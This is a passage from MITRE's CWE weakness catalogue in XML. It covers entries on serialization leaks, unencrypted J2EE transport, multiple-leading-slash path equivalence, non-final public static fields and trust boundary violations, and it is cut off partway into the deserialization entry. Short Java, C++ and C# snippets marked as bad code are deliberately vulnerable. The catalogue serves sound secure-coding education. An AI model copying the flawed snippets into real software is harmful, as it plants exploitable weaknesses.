				        <Demonstrative_Example>
					          <Intro_Text>This code creates a new record for a medical patient:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>class PatientRecord {</Code>
							              <Block>
								                <Code>private String name;</Code>
								                <Code>private String socialSecurityNum;</Code>
								                <Code>public Patient(String name,String ssn) {</Code>
								                <Block>
									                  <Code>this.SetName(name);</Code>
									                  <Code>this.SetSocialSecurityNumber(ssn);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This object does not explicitly deny serialization, allowing an
							attacker to serialize an instance of this object and gain a patient's
							name and Social Security number even though those fields are
							private.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Information leak through serialization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not serialize unencrypted, sensitive
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>SER03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not serialize instances of inner classes</Mapped_Node_Name>
					          <Mapped_Node_ID>SER05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Information Leak through
						Serialization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="5" Name="J2EE Misconfiguration: Data Transmission Without Encryption" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Information sent over a network can be compromised while in
					transit. An attacker may be able to read/modify the contents if the data are
					sent in plaintext or are weakly encrypted.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>319</Relationship_Target_ID>
					          <!--Cleartext Transmission of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>If an application uses SSL to guarantee confidential communication with
						client browsers, the application configuration should make it impossible to
						view any access controlled page without SSL. There are three common ways for
						SSL to be bypassed:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>A user manually enters URL and types "HTTP" rather than
							"HTTPS".</Text>
						            <Text>Attackers intentionally send a user to an insecure URL.</Text>
						            <Text>A programmer erroneously creates a relative link to a page in the
							application, which does not switch from HTTP to HTTPS. (This is
							particularly easy to do when the link moves between public and secured
							areas on a web site.)</Text>
					          </Block>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The application configuration should ensure that SSL or an encryption
							mechanism of equivalent strength and vetted reputation is used for all
							access-controlled pages.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Misconfiguration: Insecure Transport</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Misconfiguration:
						Insecure Transport</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="50" Name="Path Equivalence: '//multiple/leading/slash'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple leading slash ('//multiple/leading/slash') without appropriate
					validation can lead to ambiguous path resolution and allow an attacker to
					traverse the file system to unintended locations or access arbitrary
					files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>161</Relationship_Target_ID>
					          <!--Improper Neutralization of Multiple Leading Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1483</Observed_Example_Reference>
					          <Observed_Example_Description>Read files with full pathname using multiple
						internal slash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1456</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read arbitrary
						files via a GET request with more than one leading / (slash) character in
						the filename. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0578</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read arbitrary
						files via leading slash (//) characters in a URL request.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0275</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to bypass
						authentication and read restricted files via an extra / (slash) in the
						requested URL. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1032</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows local users to delete arbitrary
						files or create arbitrary empty files via a target filename with a large
						number of leading slash (/) characters. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1238</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to bypass access
						restrictions for files via an HTTP request with a sequence of multiple /
						(slash) characters such as http://www.example.com///file/.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1878</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to bypass
						authentication, obtain sensitive information, or gain access via a direct
						request to admin/user.pl preceded by // (double leading slash).
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1365</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to execute
						arbitrary commands via a URL with multiple leading "/" (slash) characters
						and ".." sequences. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1050</Observed_Example_Reference>
					          <Observed_Example_Description>Access directory using multiple leading
						slash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1072</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass access restrictions via multiple leading
						slash, which causes a regular expression to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0235</Observed_Example_Reference>
					          <Observed_Example_Description>Archive extracts to arbitrary files using multiple
						leading slash in filenames in the archive.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>//multiple/leading/slash ('multiple leading
						slash')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple Leading
						Slash - //multiple/leading/slash</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="500" Name="Public Static Field Not Marked Final" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An object contains a public static field that is not marked
					final, which might allow it to be modified in unexpected
					ways.</Description_Summary>
				        <Extended_Description>
					          <Text>Public static variables can be read without an accessor and changed 
						without a mutator by any classes in the application.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>493</Relationship_Target_ID>
					          <!--Critical Public Variable Without Final Modifier-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>When a field is declared public but not final, the field can be read and
						written to by arbitrary Java code.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The object could potentially be tampered with.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The object could potentially allow the object to be read.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clearly identify the scope for all critical data elements, including
							whether they should be regarded as static.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make any static fields private and constant.</Text>
						            <Text>A constant field is denoted by the keyword 'const' in C/C++ and 
							' final' in Java</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following examples use of a public static String variable to contain 
						the name of a property/configuration file for the application. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class SomeAppClass {</Code>
							              <Block>
								                <Code/>
								                <Code>public:</Code>
								                <Block>
									                  <Code>static string appPropertiesConfigFile = "app/properties.config";</Code>
								                </Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class SomeAppClass {</Code>
							              <Block>
								                <Code/>
								                <Code>public static String appPropertiesFile = "app/Application.properties";</Code>   
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Having a public static variable that is not marked final (constant) 
							may allow the variable to the altered in a way not intended by the 
							application. In this example the String variable can be modified to 
							indicate a different on nonexistent properties file which could cause 
							the application to crash or caused unexpected behavior. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class SomeAppClass {</Code>
							              <Block>
								                <Code/>
								                <Code>public:</Code>
								                <Block>
									                  <Code>static const string appPropertiesConfigFile = "app/properties.config";</Code>
								                </Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class SomeAppClass {</Code>
							              <Block>
								                <Code/>
								                <Code>public static final String appPropertiesFile = "app/Application.properties";</Code>   
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Overflow of static internal buffer</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use public static nonfinal variables</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has a statement that defines a public field
						that is static and non-final</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-05</Modification_Date>
					          <Modification_Comment>Significant clarification of this entry, and improved
						examples.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Name, Other_Notes, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Overflow of Static Internal
						Buffer</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Static Field Not Marked
						Final</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="501" Name="Trust Boundary Violation" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product mixes trusted and untrusted data in the same data
					structure or structured message.</Description_Summary>
				        <Extended_Description>
					          <Text>By combining trusted and untrusted data in the same data structure, it
						becomes easier for programmers to mistakenly trust unvalidated data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>A trust boundary can be thought of as line drawn through a program. On one
						side of the line, data is untrusted. On the other side of the line, data is
						assumed to be trustworthy. The purpose of validation logic is to allow data
						to safely cross the trust boundary--to move from untrusted to trusted. A
						trust boundary violation occurs when a program blurs the line between what
						is trusted and what is untrusted. The most common way to make this mistake
						is to allow trusted and untrusted data to commingle in the same data
						structure.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code accepts an HTTP request and stores the username
						parameter in the HTTP session object before checking to ensure that the user
						has been authenticated.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>usrname = request.getParameter("usrname");</Code>
							              <Code>if (session.getAttribute(ATTR_USR) == null) {</Code>
							              <Block>
								                <Code>session.setAttribute(ATTR_USR, usrname);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>usrname = request.Item("usrname");</Code>
							              <Code>if (session.Item(ATTR_USR) == null) {</Code>
							              <Block>
								                <Code>session.Add(ATTR_USR, usrname);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Without well-established and maintained trust boundaries, programmers
							will inevitably lose track of which pieces of data have been validated
							and which have not. This confusion will eventually allow some data to be
							used without first being validated.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Trust Boundary Violation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="502" Name="Deserialization of Untrusted Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application deserializes untrusted data without
					sufficiently verifying that the resulting data will be
					valid.</Description_Summary>
				        <Extended_Description>
					          <Text>It is often convenient to serialize objects for communication or to save
						them for later use. However, deserialized data or code can often be modified
